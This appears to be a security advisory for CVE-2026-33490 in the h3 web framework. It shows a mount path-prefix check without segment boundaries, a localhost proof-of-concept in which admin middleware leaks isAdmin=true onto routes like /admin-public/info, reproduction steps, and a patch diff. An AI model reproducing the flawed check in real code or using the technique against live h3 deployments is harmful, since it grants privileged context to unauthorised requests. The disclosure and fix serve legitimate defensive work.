CVE-2026-33490

// src/h3.ts:122-135
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
  if ("handler" in input) {
    if (input["~middleware"].length > 0) {
      this["~middleware"].push((event, next) => {
        const originalPathname = event.url.pathname;
        if (!originalPathname.startsWith(base)) {  // <-- BUG: no segment boundary check
          return next();
        }
        event.url.pathname = event.url.pathname.slice(base.length) || "/";
        return callMiddleware(event, input["~middleware"], () => {
          event.url.pathname = originalPathname;
          return next();
        });
      });
    }

// src/utils/internal/path.ts:35-45
export function withoutBase(input: string = "", base: string = ""): string {
  if (!base || base === "/") {
    return input;
  }
  const _base = withoutTrailingSlash(base);
  if (!input.startsWith(_base)) {  // <-- Same flaw: no segment boundary check
    return input;
  }
  const trimmed = input.slice(_base.length);
  return trimmed[0] === "/" ? trimmed : "/" + trimmed;
}

// poc.js - demonstrates context pollution across mount boundaries
import { H3 } from "h3";

const adminApp = new H3();

// Admin middleware sets privileged context
adminApp.use(() => {}, {
  onRequest: (event) => {
    event.context.isAdmin = true;
  }
});

adminApp.get("/dashboard", (event) => {
  return { admin: true, context: event.context };
});

const app = new H3();

// Mount admin sub-app at /admin
app.mount("/admin", adminApp);

// Public route that happens to share the "/admin" prefix
app.get("/admin-public/info", (event) => {
  return {
    path: event.url.pathname,
    isAdmin: event.context.isAdmin ?? false,  // Should always be false here
  };
});

// Test with fetch
const server = Bun.serve({ port: 3000, fetch: app.fetch });

// This request should NOT trigger admin middleware, but it does
const res = await fetch("http://localhost:3000/admin-public/info");
const body = await res.json();
console.log(body);
// Actual output: { path: "/admin-public/info", isAdmin: true }
// Expected output: { path: "/admin-public/info", isAdmin: false }

server.stop();

# 1. Clone h3 and install
git clone https://github.com/h3js/h3 && cd h3
corepack enable && pnpm install && pnpm build
# 2. Save poc.js (above) and run
bun poc.js
# Output shows isAdmin: true - admin middleware leaked to /admin-public/info
# 3. Verify the boundary leak with additional paths:
# GET /administrator → admin middleware fires
# GET /adminstuff   → admin middleware fires
# GET /admin123     → admin middleware fires
# GET /admi         → admin middleware does NOT fire (correct)

 mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
   if ("handler" in input) {
     if (input["~middleware"].length > 0) {
       this["~middleware"].push((event, next) => {
         const originalPathname = event.url.pathname;
-        if (!originalPathname.startsWith(base)) {
+        if (!originalPathname.startsWith(base) ||
+            (originalPathname.length > base.length && originalPathname[base.length] !== "/")) {
           return next();
         }

 export function withoutBase(input: string = "", base: string = ""): string {
   if (!base || base === "/") {
     return input;
   }
   const _base = withoutTrailingSlash(base);
-  if (!input.startsWith(_base)) {
+  if (!input.startsWith(_base) ||
+      (input.length > _base.length && input[_base.length] !== "/")) {
     return input;
   }